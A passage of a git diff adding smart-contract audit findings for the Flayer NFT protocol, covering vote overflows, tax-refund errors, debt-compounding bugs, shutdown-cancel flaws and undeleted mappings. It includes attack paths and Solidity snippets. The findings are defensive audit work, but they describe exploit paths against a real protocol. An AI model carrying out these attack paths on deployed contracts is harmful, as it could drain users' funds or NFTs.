+ collectionShutdown.vote(address(erc721b));
+
+ ICollectionShutdown.CollectionShutdownParams memory shutdownParams = collectionShutdown.collectionParams(address(erc721b));
+ //@audit because of the overflow, the vote will be less than expected
+ assertGt(shutdownParams.shutdownVotes, 79228162514264337593543950336);
+ }
+```
+
+## Impact
+If an overflow occurs:
+1. The `shutdownVotes` could reset to a lower value.
+2. This could prevent the collection from ever reaching the quorum required for shutdown.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L200
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Higher precision type should be used to store votes.
\ No newline at end of file
diff --git a/001/687.md b/001/687.md
new file mode 100644
index 0000000..68f49dd
--- /dev/null
+++ b/001/687.md
@@ -0,0 +1,44 @@
+Muscular Pebble Walrus
+
+Medium
+
+# `relist()` doesn't check if the listing is` liquidationLisiting` or not, paying unnecessary tax to the owner
+
+## Summary
+`relist()` doesn't check if the listing is` liquidationLisiting` or not, paying unnecessary tax to the owner
+
+## Vulnerability Detail
+When a `liquidationListing` is listed then it doesn't pay `tax` amount. As result, it shouldn't be given `taxRefunds`.
+
+But the problem is in `relist()`, it doesn't check if the listing is liquidationListing or not, successfully paying owner of the liquidationLisiting tax amount, which he didn't paid while listing.
+```solidity
+function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+//
+ // We can process a tax refund for the existing listing
+> (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+//
+ }
+```
+
+## Impact
+Owner will receive tax refunds which he didn't paid
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L644C5-L647C10
+
+## Tool used
+Manual Review
+
+## Recommendation
+Before sending tax refunds, ensure its not liquidationListing
+```solidity
+ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+ }
+```
\ No newline at end of file
diff --git a/001/688.md b/001/688.md
new file mode 100644
index 0000000..59ccfc6
--- /dev/null
+++ b/001/688.md
@@ -0,0 +1,61 @@
+Sweet Coconut Robin
+
+High
+
+# The protocol will become insolvent and some nfts will be forever stuck
+
+### Summary
+
+The protocol always maintains a ratio of `1:1` (disregarding the extra denomination), that is, whenever an nft is deposited, a corresponding amount of tokens is minted, and when the nft is withdrawn, the same amount is burned. This makes sense as to always ensure the protocol is solvent and all nfts can be withdrawn.
+
+However, [ProtectedListings::unlockProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287) burns from the user the full price fee `unlockPrice(_collection, _tokenId) * 10 ** denomination`, which is more than what was minted in the beginning.
+
+When creating the protected listing, the minted amount is `listing.tokenTaken`, given to the user and `1 ether - tokenTaken` that stays in the contract. However, when burning, it burns `1 ether - tokenTaken` and an amount bigger than `listing.tokenTaken` due to the compound effect.
+
+As the amount of tokens will be reduced over time due to this bug, not enough tokens will be available to withdraw all NFTS and they will be stuck.
+
+### Root Cause
+
+In `ProtectedListings.sol:305`, the burned amount is bigger than `listing.tokenTaken`.
+
+### Internal pre-conditions
+
+None.
+
+### External pre-conditions
+
+None.
+
+### Attack Path
+
+1. Users borrow NFTs.
+2. Their debt increases.
+3. Users unlock nfts via `ProtectedListings::unlockProtectedListing()`, burning more tokens than the ones minted.
+4. Not enough tokens will be in market to withdraw all nfts and some will be stuck.
+
+### Impact
+
+The protocol becomes insolvent and some NFTs are forever stuck.
+
+### PoC
+
+```solidity
+uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
+collectionToken.burnFrom(msg.sender, fee);
+
+function unlockPrice(address _collection, uint _tokenId) public view returns (uint unlockPrice_) {
+ // Get the information relating to the protected listing
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Calculate the final amount using the compounded factors and principle amount
+ unlockPrice_ = locker.taxCalculator().compound({
+ _principle: listing.tokenTaken,
+ _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint],
+ _currentCheckpoint: _currentCheckpoint(_collection)
+ });
+}
+```
+
+### Mitigation
+
+The burned amount should always be `listings.tokenTaken` from the user. The remaining should be transferred from the user and deposited as fees.
\ No newline at end of file
diff --git a/001/689.md b/001/689.md
new file mode 100644
index 0000000..18c769d
--- /dev/null
+++ b/001/689.md
@@ -0,0 +1,91 @@
+Uneven Burlap Dalmatian
+
+High
+
+# The health of a ```ProtectedListing``` is incorrectly calculated if the ```tokenTaken``` has be changed through ```ProtectedListings::adjustPosition()```.
+
+### Summary
+
+```ProtectedListings::adjustPosition()``` will change the ```tokenTaken``` but after this, ```ProtectedListings::getProtectedListingHealth()``` will assume that these ```tokenTaken``` has been the same as the starting ones and will incorrectly compound them.
+
+### Root Cause
+
+A user can create a ```ProtectedListing``` by calling ```ProtectedListings::createPosition()```, deposit his token and take back an amount ```tokenTake``` as debt. This amount is supposed to be compounded through the time depending on the newest compound factor and the compound factor when the position was created. However, when the user calls ```ProtectedListings::adjustPosition()``` and take some more debt, this new debt will be assume it will be there from the start and it will be compounded as such in ```ProtectedListings::getProtectedListingHealth()``` while this is not the case and it will be compounded from the moment it got taken. Let's have a look on ```ProtectedListings::adjustPosition()``` :
+```solidity
+ function adjustPosition(address _collection, uint _tokenId, int _amount) public lockerNotPaused {
+ // ...
+
+ // Get the current debt of the position
+@> int debt = getProtectedListingHealth(_collection, _tokenId);
+
+ // ...
+
+ // Check if we are decreasing debt
+ if (_amount < 0) {
+ // ...
+
+ // Update the struct to reflect the new tokenTaken, protecting from overflow
+@> _protectedListings[_collection][_tokenId].tokenTaken -= uint96(absAmount);
+ }
+ // Otherwise, the user is increasing their debt to take more token
+ else {
+ // ...
+
+ // Update the struct to reflect the new tokenTaken, protecting from overflow
+@> _protectedListings[_collection][_tokenId].tokenTaken += uint96(absAmount);
+ }
+
+ // ...
+ }
+```
+[Link to code](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L366C1-L417C6)
+
+As we can see, this function just increases or decreases the ```tokenTaken``` of this ```ProtectedListings``` meaning the debt that the owner should repay. Now, if we see the ```ProtectedListings::getProtectedListingHealth()```, we will understand that function just takes the ```tokenTaken``` and compounds it without caring **when** this ```tokenTaken``` increased or decreased :
+```solidity
+ function getProtectedListingHealth(address _collection, uint _tokenId) public view listingExists(_collection, _tokenId) returns (int) {
+ // So we start at a whole token, minus: the keeper fee, the amount of tokens borrowed
+ // and the amount of collateral based on the protected tax.
+@> return int(MAX_PROTECTED_TOKEN_AMOUNT) - int(unlockPrice(_collection, _tokenId));
+ }
+
+ function unlockPrice(address _collection, uint _tokenId) public view returns (uint unlockPrice_) {
+ // Get the information relating to the protected listing
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Calculate the final amount using the compounded factors and principle amount
+ unlockPrice_ = locker.taxCalculator().compound({
+@> _principle: listing.tokenTaken,
+ _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint],
+ _currentCheckpoint: _currentCheckpoint(_collection)
+ });
+ }
+```
+[Link to code](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L497)
+
+So, it will take this ```tokenTaken``` and it will compound it from the start of the ```ProtectedListing``` until now, while it shouldn't be the case since some debt may have been added later (through ```ProtectedListings::adjustPosition()```) and in this way this amount must be compounded from the moment it got taken until now, not from the start.
+
+### Internal pre-conditions
+
+1. User creates a ```ProtectedListing``` through ```ProtectedListings::createListings()```.
+
+### External pre-conditions
+
+1. User wants take some debt on his ```ProtectedListing```.
+
+### Attack Path
+
+1. Firstly, user calls ```ProtectedListings::createListings()``` and creates a ```ProtectedListing``` with ```tokenTaken``` and expecting them to compound.
+2. After some time and the initial ```tokenTaken``` have been compounded a bit, user decides to take some more debt and increase ```tokenTaken``` and calls ```ProtectedListings::adjustListing()``` to take ```x``` more debt.
+3. Now, ```ProtectedListings::getProtectedListingHealth()``` shows that the ```x``` more debt is compounded like it was taken from the very start of the ```ProtectedListing``` creation and in this way his debt is unfairly more inflated.
+
+### Impact
+
+The impact of this serious vulnerability is that the user is being in more debt than what he should have been, since he accrues interest for a period that he had not actually taken that debt. In this way, while he expects his ```tokenTaken``` to be increased by ```x``` amount (as it would be fairly happen), he sees his debt to be inflated by ```x compounded```. This can cause instant and unfair liquidations and **loss of funds** for users unfairly taken into more debt.
+
+### PoC
+
+No PoC needed.
+
+### Mitigation
+
+To mitigate this vulnerability successfully, consider updating the checkpoints of the ```ProtectedListing``` whenever an adjustment is happening in the ```position```, so the debt to be compounded correctly.
\ No newline at end of file
diff --git a/001/690.md b/001/690.md
new file mode 100644
index 0000000..1534e23
--- /dev/null
+++ b/001/690.md
@@ -0,0 +1,68 @@
+Sweet Coconut Robin
+
+High
+
+# Malicious users will exploit the fact that `ProtectedListings::adjustPosition()` does not take a checkpoint and reduce their debt
+
+### Summary
+
+[ProtectedListings::adjustPosition()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366) changes the `listing.tokenTaken` quantity, but does not take a new checkpoint of the compound factor. This means that if their checkpoint was in the past, and they reduce their `tokenTaken`, they will also reduce a part of their debt. On the other hand, honest users that increase their `tokenTaken` will have their debt instantly increased and may be liquidated right away.
+
+### Root Cause
+
+In `ProtectedListings:399` and `ProtectedListings:413`, a new checkpoint of the compound factor is not taken, instantly decreasing/increasing the debt.
+
+### Internal pre-conditions
+
+None.
+
+### External pre-conditions
+
+None.
+
+### Attack Path
+
+1. Users borrows via `ProtectedListings::createListings()`.
+2. Users adjust their positions by calling `ProtectedListings::adjustPosition()` and either exploit this to reduce their debt or be instantly liquidated.
+
+### Impact
+
+Users instantly reduce their debt or users get instantly liquidated.
+
+### PoC
+
+```solidity
+if (_amount < 0) {
+ // The user should not be fully repaying the debt in this way. For this scenario,
+ // the owner would instead use the `unlockProtectedListing` function.
+ if (debt + int(absAmount) >= int(MAX_PROTECTED_TOKEN_AMOUNT)) revert IncorrectFunctionUse();
+
+ // Take tokens from the caller
+ collectionToken.transferFrom(
+ msg.sender,
+ address(this),
+ absAmount * 10 ** collectionToken.denomination()
+ );
+
+ // Update the struct to reflect the new tokenTaken, protecting from overflow
+ _protectedListings[_collection][_tokenId].tokenTaken -= uint96(absAmount); //@audit must update the checkpoint or the debt will accumulate on the old checkpoint
+}
+// Otherwise, the user is increasing their debt to take more token
+else {
+ // Ensure that the user is not claiming more than the remaining collateral
+ if (_amount > debt) revert InsufficientCollateral();
+
+ // Release the token to the caller
+ collectionToken.transfer(
+ msg.sender,
+ absAmount * 10 ** collectionToken.denomination()
+ );
+
+ // Update the struct to reflect the new tokenTaken, protecting from overflow
+ _protectedListings[_collection][_tokenId].tokenTaken += uint96(absAmount); //@audit must update the checkpoint or the debt will accumulate on the old checkpoint
+}
+```
+
+### Mitigation
+
+Capture the checkpoint when updating `_protectedListings[_collection][_tokenId]` and realize the new debt.
\ No newline at end of file
diff --git a/001/693.md b/001/693.md
new file mode 100644
index 0000000..cab44d5
--- /dev/null
+++ b/001/693.md
@@ -0,0 +1,44 @@
+Sweet Coconut Robin
+
+High
+
+# `ProtectedListings::_createCheckpoint()` incorrectly updates the `compoundedFactor` instead of the utilization ratio which will lead to incorrect interest calculations and losses/wins for users
+
+### Summary
+
+[ProtectedListings::_createCheckpoint()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L530) replaces the previous checkpoint information if it is the same block (as no time has passed, the compound factor will not increase). In the process, it should update the utilization rate, as this affects the next compounded factor calculation.
+
+### Root Cause
+
+In `ProtectedListings:565`, the `compoundedFactor` is updated instead of the utilization rate.
+
+### Internal pre-conditions
+
+2 calls that modify the utilization rate (`ProtectedListings::createListings()` for example) in the same block.
+
+### External pre-conditions
+
+None.
+
+### Attack Path
+
+1. Users call `ProtectedListings::createListings()` in the same block, for example. This will not update the interest rate to the highest after the second `ProtectedListings::createListings()` call.
+
+### Impact
+
+Users take losses or exploit this fact for their advantage due to wrong utilization rate update.
+
+### PoC
+
+```solidity
+// If no time has passed in our new checkpoint, then we just need to update the
+// utilization rate of the existing checkpoint.
+if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor; //@audit is updating the compoundedFactor instead of the utilizationRate
+ return index_;
+}
+```
+
+### Mitigation
+
+Update the utilization rate instead.
\ No newline at end of file
diff --git a/001/695.md b/001/695.md
new file mode 100644
index 0000000..801764a
--- /dev/null
+++ b/001/695.md
@@ -0,0 +1,80 @@
+Spare Infrared Gerbil
+
+High
+
+# Tokens are wrongly burnt from `ProtectedListing` during repayments
+
+### Summary
+
+Tokens are wrongly burnt during repayment of a protected listing thus depleting the the balance of the Protected Listing contract and posibly blocking repayment
+
+### Root Cause
+
+During repayment, the developer wrongly assumes tokens were paid in to the listing contract and thus burns tokens from the contract as shown below on L308
+
+```solidity
+File: ProtectedListings.sol
+287: function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+288: // Ensure this is a protected listing @audit cannot repay when Locker is paused
+289: ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+SNIP ..........
+
+303: // Repay the loaned amount, plus a fee from lock duration
+304: uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
+305: collectionToken.burnFrom(msg.sender, fee);
+306:
+307: // We need to burn the amount that was paid into the Listings contract
+308: @> collectionToken.burn((1 ether - tokenTaken) * 10 ** denomination);
+
+```
+
+but in the actual sense, the user's repayment amount (including fees) are burnt directly from the user
+
+The problem is that after some time the balance of the listing contract will be depleted causing the [`unlockProtectedListing(...)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L303-L308) function to revert and fail.
+
+In fact, an attacker can leverage this to to create listing for dust amount of `tokenTaken` and repay repeatedly knowing that L308 executing on dust amount will deplete the `protectedListing` contract faster
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Repayments can be blocked forcing users into liquidation
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider modifiying the `unlockProtectedListing(...)` function as shown below
+
+
+```diff
+File: ProtectedListings.sol
+287: function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+288: // Ensure this is a protected listing @audit cannot repay when Locker is paused
+289: ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+SNIP ..........
+
+303: // Repay the loaned amount, plus a fee from lock duration
+304: uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
+305: collectionToken.burnFrom(msg.sender, fee);
+306:
+307: // We need to burn the amount that was paid into the Listings contract
+-308: collectionToken.burn((1 ether - tokenTaken) * 10 ** denomination);
+
+```
+
+Or better still transfer the user's outstanding amount including the accrued fees into the listing contract and burn the `tokenTaken` amount
\ No newline at end of file
diff --git a/001/696.md b/001/696.md
new file mode 100644
index 0000000..90fe4a3
--- /dev/null
+++ b/001/696.md
@@ -0,0 +1,124 @@
+Raspy Raspberry Tapir
+
+High
+
+# A large collection can be shutdown though it shouldn't be
+
+### Summary
+
+The restrictions around `CollectionShutdown` contract are intended to make a shutdown possible to perform only for small collections (up to `MAX_SHUTDOWN_TOKENS = 4 ether ` in the collection token supply). Unfortunately the restrictions are ineffective. Specifically:
+
+- Collection shutdown can [start](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L157) when the supply is still small
+- The admin function [preventShutdown](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L415-L425) can't be executed anymore, as there is a vote for the shutdown (`_collectionParams[_collection].shutdownVotes != 0`)
+- The [cancel](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405) function, designed specifically to prevent shutdown of a large collection, can't be executed until `params.canExecute` becomes `true`.
+- As soon as `params.canExecute` becomes `true`, the admin function [execute](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231-L275), which actually triggers the shutdown, becomes also executable.
+
+Thus, as can be seen from above, if `start` has been called when the collection is still small, the collection remains forever under the danger of shutdown being executed, no matter the collection size. Moreover, when shutdown becomes feasible (enough votes are accumulated and `params.canExecute == true)` it becomes a running for time between `execute` and `cancel` to decide whether the collection will be shutdown or not.
+
+Thus, despite existing preventive measures, even a large collection can be shutdown thus rugging people that weren't aware of the action.
+
+### Root Cause
+
+The [cancel](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405) function, designed specifically to prevent shutdown of a large collection, is wrongly preconditioned, preventing its execution until `execute` can also be triggered:
+
+```solidity
+/**
+ * If a shutdown flow has not been triggered and the total supply of the token has risen
+ * above the threshold, then this function can be called to remove the process and prevent
+ * execution.
+ *
+ * This is done to ensure that collections cannot be marked to shutdown in it's infancy and
+ * then as more tokens are added then the shutdown is actioned, rugging people that weren't
+ * aware of the action.
+ *
+ * @param _collection The collection address
+ */
+function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+}
+```
+
+The precondition `if (!params.canExecute) revert ShutdownNotReachedQuorum();` should be removed, thus allowing to execute `cancel` before `execute` can be triggered.
+
+### Internal pre-conditions
+
+- The attacker needs to execute `start` when `<= MAX_SHUTDOWN_TOKENS == 4 ether` of collection tokens are minted
+- The attacker needs to hold a quorum of votes (>= 50%) in the collection to be shut down.
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+1. The attacker calls `start` when the collection is still small
+2. The attacker waits till the conditions arise when they would extract profit from shutting down the collection
+3. The attacker votes with quorum for the shutdown
+4. As explained above, `execute` is triggered automatically by the admin bot.
+
+It's worth considering what people who want to prevent collection shutdown could do, when both `preventShutdown` and `cancel` are ineffective as explained in the finding:
+
+- One possibility is to have an active listing either in `Listings` or `ProtectedListings` contract. This can't be considered a valid defense, as maintaining a listing entails also paying taxes for its maintenance
+- Another possibility is to monitor for conditions when `execute` becomes executable, in order to be able to trigger `cancel` before it. This also requires non-trivial investment of funds, to set up the monitoring infrastructure and a bot to submit the `cancel` transaction as soon as possible.
+
+### Impact
+
+Loss of funds: a large collection is shut down, thus making the collection tokens users hold effectively valueless.
+
+### PoC
+
+not required
+
+### Mitigation
+
+```diff
+diff --git a/flayer/src/contracts/utils/CollectionShutdown.sol b/flayer/src/contracts/utils/CollectionShutdown.sol
+index 2442e70..67bfa38 100644
+--- a/flayer/src/contracts/utils/CollectionShutdown.sol
++++ b/flayer/src/contracts/utils/CollectionShutdown.sol
+@@ -390,7 +390,6 @@ contract CollectionShutdown is ICollectionShutdown, Ownable, Pausable, Reentranc
+ function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+- if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+```
+
+### A note on the use of admin-restricted function `execute`
+
+We've specifically consulted with the sponsor via Discord to confirm that **triggering of `execute` is automatic**: as soon as `CollectionShutdownQuorumReached` is emitted, the `execute` transaction is multisig-signed by a bot, and submitted on chain. This is also consistent with the information provided in the [README](https://github.com/sherlock-audit/2024-08-flayer/blob/main/README.md#q-are-there-any-limitations-on-values-set-by-admins-or-other-roles-in-the-codebase-including-restrictions-on-array-lengths):
+
+> **Q: Are there any limitations on values set by admins (or other roles) in the codebase, including restrictions on array lengths?**
+> **Flayer**
+> No expected limitations, it should just be assumed that initialized addresses in the contracts as set correctly.
+>
+> **Q: For permissioned functions, please list all checks and requirements that will be made before calling the function.**
+> The following contracts will be added as LockerManager:
+> - Listings.sol
+> - ProtectedListings.sol
+> - CollectionShutdown.sol
+
+It is also consistent with the [judging guidelines effective at the time of the audit](https://github.com/sherlock-protocol/sherlock-v2-docs/blob/e7dc89270b05f8d2fcee69dc4204c7a2b8fb4cf9/audits/judging/judging/README.md):
+
+> **5. (External) Admin trust assumptions**: When a function is access restricted, only values for specific function variables mentioned in the README can be taken into account when identifying an attack path.
+>
+> If no values are provided, the (external) admin is trusted to use values that will not cause any issues.
+>
+> Note: if the attack path is possible with any possible value, it will be a valid issue.
+
+We have that for the admin-restricted function [execute](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231-L275) "_the attack path is possible with any possible value._"
\ No newline at end of file
diff --git a/001/698.md b/001/698.md
new file mode 100644
index 0000000..d756ab3
--- /dev/null
+++ b/001/698.md
@@ -0,0 +1,73 @@
+Muscular Pebble Walrus
+
+Medium
+
+# `reserve()` doesn't deletes the `_isLiquidation` mapping, causing tax loss for owner in future
+
+## Summary
+`reserve()` doesn't deletes the `_isLiquidation` mapping, causing tax loss for owner in future
+
+## Vulnerability Detail
+When a user reserve() a tokenId, it doesn't deletes the `_isLiquidation` mapping.
+```solidity
+ function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+//
+ // Check if the listing is a floor item and process additional logic if there
+ // was an owner (meaning it was not floor, so liquid or dutch).
+ if (oldListing.owner != address(0)) {
+ // We can process a tax refund for the existing listing if it isn't a liquidation
+ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+ }
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Reduce the amount of listings
+ unchecked { listingCount[_collection] -= 1; }
+ }
+//
+ }
+```
+
+Let's go step by step to see how this will create problem for the owner:
+1. Suppose a token is liquidated, which set the `_isLiquidation = true` for that tokenId in listing.sol
+2. A user reserved that tokenId(_isLiquidation is not deleted) & withdrawn that token from protectedListing.sol
+3. He listed that tokenId in listing.sol paying tax amount.
+4. Now, if that tokenId is filled then owner should get tax refund amount(if any) but will not receive due to _isLiquidation = true for that tokenId.
+```solidity
+ function _fillListing(address _collection, address _collectionToken, uint _tokenId) private {
+//
+ if (_listings[_collection][_tokenId].owner != address(0)) {
+ // Check if there is collateral on the listing, as this we bypass fees and refunds
+ if (!_isLiquidation[_collection][_tokenId]) {
+ // Find the amount of prepaid tax from current timestamp to prepaid timestamp
+ // and refund unused gas to the user.
+> (uint fee, uint refund) = _resolveListingTax(_listings[_collection][_tokenId], _collection, false);
+ emit ListingFeeCaptured(_collection, _tokenId, fee);
+//
+ }
+```
+
+
+## Impact
+Lose of tax amount for the user
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L501C12-L510C18
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690C4-L759C6
+
+## Tool used
+Manual Review
+
+## Recommendation
+Delete the _isLiquidation mapping in reserve()
\ No newline at end of file
diff --git a/001/700.md b/001/700.md
new file mode 100644
index 0000000..9f63b43
--- /dev/null
+++ b/001/700.md
@@ -0,0 +1,51 @@
+Sweet Coconut Robin
+
+High
+
+# Attackers can instantly manipulate debt due to `ProtectedListing::_currentCheckpoint()` incorrectly calculating the factor using the current utilization ratio
+
+### Summary
+
+The debt of users is calculated by taking the current checkpoint `compoundFactor`, multiplying by their `tokenTaken` and dividing by the previous checkpointed `compoundFactor`. In the process, the [ProtectedListing::_currentCheckpoint()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L580) calculates the current `compoundFactor` by using the current utilization rate, instead of the one in the last globally taken checkpoint, so attackers can manipulate the compound factor by increasing the utilization rate and bumping the factor atomically. Then, they can liquidate users that had their debt instantly increased.
+
+### Root Cause
+
+In `ProtectedListings:549`, the `_utilizationRate` used in the calculation is the current one instead of the stored in the last checkpoint.
+
+### Internal pre-conditions
+
+None.
+
+### External pre-conditions
+
+None.
+
+### Attack Path
+
+1. Users borrow by calling `ProtectedListings::createListings()` and some time passes.
+2. Attackers manipulate the exchange rate by calling `ProtectedListings::createListings()` with huge amounts, inflating the utilization rate
+3. Attackers call `ProtectedListings::liquidateProtectedListing()` and liquidate users that had their debt instantly increased to using the current utilization rate
+4. Attackers repay the loan by calling `ProtectedListings::unlockProtectedListing()`.
+
+### Impact
+
+Users get instantly liquidated.
+
+### PoC
+
+```solidity
+collectionCheckpoints[_collection].push(
+ Checkpoint({
+ compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+ _previousCompoundedFactor: 1e18,
+ _utilizationRate: _utilizationRate,
+ _timePeriod: 0
+ }),
+ timestamp: block.timestamp
+ })
+);
+```
+
+### Mitigation
+
+Use the utilization rate stored in the previous checkpoint to calculate the current compound factor, so that attackers can not manipulate it. If they tried to manipulate it they would also get hit because they would have created listings accruing debt.
\ No newline at end of file
diff --git a/001/707.md b/001/707.md
new file mode 100644
index 0000000..4afa3e8
--- /dev/null
+++ b/001/707.md
@@ -0,0 +1,55 @@
+Muscular Pebble Walrus
+
+Medium
+
+# Previous owner can `cancelListing()` or `modifyListing()` because reserve() doesn't deletes the `_listings` mapping
+
+## Summary
+Previous owner can `cancelListing()` or `modifyListing()` because reserve() doesn't deletes the `_listings` mapping
+
+## Vulnerability Detail
+When a user reserve() a listing, it doesn't deletes the `_listings` mapping which stores the info like `owner/ floorMultiple/ duration.`
+```solidity
+ function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+//
+ // Check if the listing is a floor item and process additional logic if there
+ // was an owner (meaning it was not floor, so liquid or dutch).
+ if (oldListing.owner != address(0)) {
+ // We can process a tax refund for the existing listing if it isn't a liquidation
+ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+ }
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Reduce the amount of listings
+ unchecked { listingCount[_collection] -= 1; }
+ }
+//
+ }
+```
+Due to not deleting _listings mapping, previous owner can call cancelListing() & modifyListings().
+
+If owner calls the canceListing(), it will withdraw that tokenId from locker.sol & when new owner will try to withdraw that tokenId from protectedListing.sol, it will revert as that tokenId will not be in Locker.sol
+## Impact
+Reserver will completely lose his NFT, if previous owner call the cancelListings()
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690C4-L759C6
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L414
+
+## Tool used
+Manual Review
+
+## Recommendation
+Delete the _listings mapping when a tokenId is reserved
\ No newline at end of file
diff --git a/001/717.md b/001/717.md
new file mode 100644
index 0000000..ac5ce31
--- /dev/null
+++ b/001/717.md
@@ -0,0 +1,41 @@
+Muscular Pebble Walrus
+
+Medium
+
+# `withdrawProtectedListing()` can be DoS
+
+## Summary
+`withdrawProtectedListing()` can be DoS
+
+## Vulnerability Detail
+When a user unlocks his protectedListing using `unlockProtectedListing()`, it deletes the `_protectedListings` mapping. The problem is this `_protectedListings` mapping is used in Locker.sol to check if tokenId is protected or not, and if protected it doesn't allow any user to withdraw that token.
+```solidity
+ function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+//
+ // Delete the listing objects
+> delete _protectedListings[_collection][_tokenId];
+//
+ }
+```
+Suppose a user unlock his protectedLisitngs to withdraw his tokenId later, now the _protectedListings mapping is deleted, which means any user can withdraw that tokenId from Locker.sol. As result, when user will try calling `withdrawProtectedListing()`, it will revert.
+```solidity
+ function withdrawProtectedListing(address _collection, uint _tokenId) public lockerNotPaused {
+//
+ // Transfer the asset to the user
+> locker.withdrawToken(_collection, _tokenId, msg.sender);
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ }
+```
+
+## Impact
+User will lose his NFT
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L314
